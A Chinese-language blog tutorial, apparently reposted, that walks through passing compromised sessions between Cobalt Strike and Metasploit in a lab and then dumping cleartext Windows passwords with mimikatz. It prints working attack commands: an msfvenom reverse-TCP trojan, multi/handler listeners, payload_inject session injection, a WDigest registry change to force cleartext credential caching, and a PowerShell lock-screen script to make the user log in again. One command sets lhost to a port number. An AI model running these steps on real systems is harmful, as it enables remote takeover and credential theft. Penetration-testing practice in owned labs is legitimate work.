cs与msf权限传递,以及mimikatz抓取明文密码

2024-06-15 23:52

本文主要是介绍cs与msf权限传递,以及mimikatz抓取明文密码,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

cs与msf权限传递,以及mimikatz抓取win10明文密码

  • 1、环境准备
  • 2、Cobalt Strike ------> MSF
    • 2.1 Cobalt Strike拿权限
    • 2.2 将CS权限传递给msf
  • 3、MSF ------> Cobalt Strike
    • 3.1 msf拿权限
    • 3.2 将msf权限传递给CS
  • 4、使用mimikatz抓取明文密码

1、环境准备

攻击:【kali cs服务端:192.168.111.129】、【win11 cs客户端:192.168.111.145】
靶机:windows 2012:192.168.111.130

2、Cobalt Strike ------> MSF

2.1 Cobalt Strike拿权限

1、kali开启cs服务端

┌──(root㉿kali)-[/home/kali/Desktop/cs_start]
└─# ./teamserver 192.168.111.129 12345

在这里插入图片描述
2、window11开启cs客户端,与服务端连接在这里插入图片描述
3、建立监听器

在这里插入图片描述
4、生成木马
在这里插入图片描述
在这里插入图片描述
5、生成木马之后,将生成的木马程序拖到window2012,然后运行程序,发现目标已经上线在这里插入图片描述
6、上线之后就可以对目标主机的操控
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
成功拿下权限!

2.2 将CS权限传递给msf

1、建立监听器
在这里插入图片描述
2、在kali打开msf,开启msfconsole

┌──(root㉿kali)-[/home/kali]
└─# msfconsole

在这里插入图片描述
2、调用 exploit/multi/handler 模块,将监听的ip地址与端口设置为在cs上建立监听保持一致。

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp                                            
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http                                                       
msf6 exploit(multi/handler) > set lhost 192.168.111.129                                           
lhost => 192.168.111.129                                                                          
msf6 exploit(multi/handler) > set lport 9999
lport => 9999
msf6 exploit(multi/handler) > exploit 

在这里插入图片描述
3、然后进行传递
在这里插入图片描述
在这里插入图片描述
最后,返回msf就可以看到传递成功了
最后,由于

3、MSF ------> Cobalt Strike

3.1 msf拿权限

1、在msfvenom生成木马

msf6 > msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.111.129 LPORT=7777 -f exe > msfshell.exe

在这里插入图片描述
2、使用msfconsole启动MetasploitFramework,设置meterpreter监听用于接收后门文件反弹到shell,将生成的木马文件放置到win2012中。

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.111.129
lhost => 192.168.111.129
msf6 exploit(multi/handler) > set lport 7777
lport => 7777
msf6 exploit(multi/handler) > exploit 

在这里插入图片描述
3、将获取到的会话挂至后台,会看到一个会话sessions id

meterpreter > background 
[*] Backgrounding session 1...

在这里插入图片描述

3.2 将msf权限传递给CS

1、在cs上新建监听器
在这里插入图片描述
2、调用 payload_inject 模块,将指定会话session id注入到新到CobaltStrike会话中

msf6 exploit(windows/local/payload_inject) > use exploit/windows/local/payload_inject
[*] Using configured payload windows/meterpreter/reverse_http
msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf6 exploit(windows/local/payload_inject) > set lhost 192.168.111.129
lhost => 192.168.111.129
msf6 exploit(windows/local/payload_inject) > set lhost 80
lhost => 80
msf6 exploit(windows/local/payload_inject) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf6 exploit(windows/local/payload_inject) > set PrependMigrate true
PrependMigrate => true
msf6 exploit(windows/local/payload_inject) > set session 1
session => 1
msf6 exploit(windows/local/payload_inject) > exploit 

在这里插入图片描述
上述步骤完成后,在CobaltStrike中就可以看到MetasploitFramework传递过来到会话了

4、使用mimikatz抓取明文密码

1、抓取明文密码
在这里插入图片描述
2、抓取到的密码显示null(这是由于Windows在win10或Windows2012R2以上时,默认的缓存表中是不存在明文密码的,显示为null)在这里插入图片描述
3、可以通过修改注册表来让Wdigest Auth保存明文口令:shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
在这里插入图片描述

4、修改注册表之后,需要用户重新登录才可以生效(把如下代码保存为lock-screen.ps1)

Function Lock-WorkStation {$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}Lock-WorkStation

5、重新输入密码就可以获取明文密码
在这里插入图片描述

这篇关于cs与msf权限传递,以及mimikatz抓取明文密码的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1064937

相关文章

Java研学-RBAC权限控制(八)

九 登录登出 1 登录作用   判断员工是否有权限访问,首先得知道现在操作的人是谁,所以必须先实现登录功能 2 登录流程   ① 提供登录页面,可输入用户名与密码信息,并添加执行登录的按钮。(登录页面不能被拦截)   ② 给按钮绑定点击事件(异步操作,POST请求)   ③ 事件中发送登录请求,使用 AJAX 方式提交。(使用 AJAX 原因:用户体验更好,既可保留用户刚输入的用户名和密码

使用Jsoup抓取数据

问题 最近公司的市场部分布了一个问题,到一个网站截取一下医院的数据。刚好我也被安排做。后来,我发现为何不用脚本去抓取呢? 抓取的数据如下: Jsoup的使用实战代码 结构 Created with Raphaël 2.1.0 开始 创建线程池 jsoup读取网页 解析Element 写入sqlite 结束

文件权限修改为777,php failed to open stream: Permission denied

记录一次在谷歌云上的异常诡异的事件: 环境 centos7.5 nginx php7.0 mysql 问题: 问题一 我用相同的nginx配置,只是修改了nginx root目录。 打开/var/www/html/ 这个目录就报 2018/06/22 04:35:03 [error] 15840#0: *438 FastCGI sent in stderr: “Primary scr

混合密码系统解析

1. 概述         混合密码系统(hybrid cryptosystem)是将对称密码和非对称密码的优势相结合的方法。一般情况下,将两种不同的方式相结合的做法就称为混合(hybrid)。用混合动力汽车来类比的话,就相当于是一种将发动机(对称密码)和电动机(非对称密码)相结合的系统。         混合密码系统中会先用快速的对称密码来对消息进行加密,这样消息就被转换为了密文从而也就保证

如何给文档设置密码?电脑文件安全加密的详细操作步骤(10种方法)

在数字化时代,电脑文件的安全和隐私至关重要。通过给电脑的文件或者文件夹设置密码和加密,可以有效保护你的重要文件不被未经授权的人员访问,特别是公司的重要岗位,一些特殊的机密文件,投标文件,资金文件等等,更应该注重文件日常使用安全性。下面将为你介绍10种电脑文件,文件夹加密的详细操作步骤,帮助你更好地保护你的电脑文件安全。 加密方式一、Windows系统内置加密(电脑自带的文件加密) 选中需要

MySQL中的系统变量权限

MySQL的系统变量用于控制服务器的操作。它们可以是全局的(影响整个MySQL服务器实例),也可以是会话的(仅影响当前客户端会话),或者两者兼有。 你可以使用SET语句来动态地改变这些变量的值。例如: 设置全局系统变量的运行时值: 使用set global语句,该语句需要system_VARIABLES_ADMIN权限(或不推荐使用的SUPER权限)。例如: SET GLOBAL max_

删除第三方AAR所请求的权限

1.问题:引了第三方的AAR库要求一些权限,但我APP不需要,我想删除掉,怎么办 答:很简单,只要在添加:http://schemas.android.com/tools 这个工具在manifest文件中,然后在相应的权限上增加:tools:node="remove"即可。 <manifest xmlns:android="http://schemas.android.com/apk/res/a

LSSS算法实现,基于eigen和pbc密码库【一文搞懂LSSS,原理+代码】

文章目录 一. LSSS简介1.1 概述1.2 线性秘密分享方案(LSSS)与 Shamir的秘密分享方案对比LSSS1.2.1 Shamir的秘密分享方案1.2.2 线性秘密分享方案(LSSS)1.2.3 主要区别 二. 基于矩阵的LSSS加解密原理分析2.1 LSSS矩阵构造2.1.1 定义2.1.2 规则 12.1.3 规则 22.1.4 规则 32.1.5 形成线性共享矩阵M 2.

Maven的依赖传递、依赖管理、依赖作用域

在Maven项目中通常会引入大量依赖,但依赖管理不当,会造成版本混乱冲突或者目标包臃肿。因此,我们以SpringBoot为例,从三方面探索依赖的使用规则。 1、 依赖传递 依赖是会传递的,依赖的依赖也会连带引入。例如在项目中引入了spring-boot-starter-web依赖: <dependency><groupId>org.springframework.boot</groupId>

C#启动另外一个C#程序,并传递参数

第一个程序:             using System.ComponentModel; using System.IO;         private void button1_Click(object sender, EventArgs e)         {             string target = Path.GetDirectory